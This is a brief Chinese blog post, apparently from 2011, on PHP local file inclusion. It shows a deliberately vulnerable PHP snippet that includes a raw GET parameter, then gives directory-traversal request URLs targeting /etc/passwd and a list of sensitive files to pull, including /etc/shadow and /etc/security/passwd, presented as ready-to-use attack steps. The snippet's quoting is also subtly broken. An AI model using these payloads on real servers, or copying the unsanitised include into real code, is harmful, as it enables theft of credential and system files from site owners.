php伪造本地文件包含漏洞

分类:安全 | 2011-11-3 | 撸过 61 次
0人扯谈

代码:

 

<?php

$page=$_GET[page];

include($page.’php’);

?>

 

你可以这样使用

https://www.webshell.cc/index.php?page=../etc/passwd

https://www.webshell.cc/index.php?page=../../../etc/passwd

https://www.webshell.cc/index.php?page=…./../etc/passwd

 

获取更多数据:

etc/profile

etc/services

/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default

本站内容均为原创,转载请务必保留署名与链接!
php伪造本地文件包含漏洞:https://www.webshell.cc/1969.html
标签: ,

相关日志